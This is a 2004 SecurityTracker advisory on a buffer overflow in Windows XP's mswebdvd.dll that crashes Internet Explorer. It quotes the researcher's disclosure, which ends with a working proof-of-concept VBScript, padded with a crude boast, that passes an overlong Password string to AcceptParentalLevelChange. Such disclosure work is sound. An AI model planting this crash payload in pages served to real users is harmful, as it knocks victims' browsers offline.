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Microsoft Windows XP 'mswebdvd.dll' Buffer Overflow Lets Remote Users Deny Service
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SecurityTracker Alert ID: 1009673 |
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SecurityTracker URL: http://securitytracker.com/id/1009673
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Apr 6 2004
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Impact:
Denial of service via network
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Exploit Included: Yes
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Version(s): XP SP1, SP2
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Description:
Rafel Ivgi (The-Insider) reported a vulnerability in Microsoft Windows XP in 'mswebdvd.dll'. A remote user can cause denial of service conditions.
It is reported that a remote user can create HTML that loads the 'MSWebDVD.MSWebDVD.1' active scripting object with specially crafted parameters for the AcceptParentalLevelChange() function to cause the target user's Internet Explorer browser to crash. According to the report, setting the 'Password' parameter to a value longer than 255 characters trigger the flaw.
Some demonstration exploit HTML is provided in the Source Message.
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Impact:
A remote user can create HTML that, when loaded by the target user, will cause the target user's Internet Explorer browser to crash.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: www.microsoft.com/technet/security/ (Links to External Site)
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Cause:
Boundary error
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Underlying OS:
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Message History:
None.
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Source Message Contents
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Date: Tue, 6 Apr 2004 10:14:31 +0200
Subject: MSWebDVD Class(mswebdvd.dll) Null Pointer Assignment
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application: MSWebDVD Class(mswebdvd.dll)
Vendors: http://www.microsoft.com
Platforms: WindowsXP Professional,SP1,SP2
Bug: Null Pointer Assignment
Risk: Medium - Denial Of Service
Exploitation: Remote with browser
Date: 1 Apr 2004
Author: Rafel Ivgi, The-Insider
e-mail: the_insider@mail.com
web: http://theinsider.deep-ice.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1) Introduction
2) Bugs
3) The Code
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===============
1) Introduction
===============
"mswebdvd.dll" is module that allows watching DVD films from websites.
Using active scripting an "MSWebDVD.MSWebDVD.1" object can be created
and the user can watch online DVD films .
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
======
2) Bug
======
The "mswebdvd.dll" module was not correctly designed/checked the parametres
that are
being sent to the "AcceptParentalLevelChange" function. Therefore it is
possible to D.O.S/CRASH
Internet Explorer remotly.
The function :
object = MSWebDVD.MSWebDVD.1
object.AcceptParentalLevelChange (boolean value),UserName as string,Password
as string
Setting the "Password" value with a string longer then 255 chars will cause
the overflow.
Unfortunatly this vulnerability effects all WindowsXP versions after all
patches and after SP1+SP2.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
===========
3) The Code
===========
This is Proof Of Concept Code:
------------------- CUT HERE -------------------
<script language=vbscript>
'On Error Resume Next
dim mymy2,a
a="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
a= a &
"ABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"
a= a &
"BCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
a= a &
"CDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"
a= a &
"DEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
a= a &
"EFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
a= a &
"FGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG"
a= a &
"GHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
a= a &
"HIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII"
a= a &
"IJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ"
a= a &
"JKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK"
a= a &
"KLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL"
a= a &
"LMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM"
a= a &
"M1234567899876543211112222333344445555666677778888999998761234rafiisthekingofthebufferoverflowsoyoucansuckmydickcauseiamtheinsiderandiamthebestgolookforyou03923610"
Set mymy2= CreateObject("MSWebDVD.MSWebDVD.1")
mymy2.AcceptParentalLevelChange False, "xc", a
</script>
------------------- CUT HERE -------------------
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com
"Only the one who sees the invisible , Can do the Impossible."
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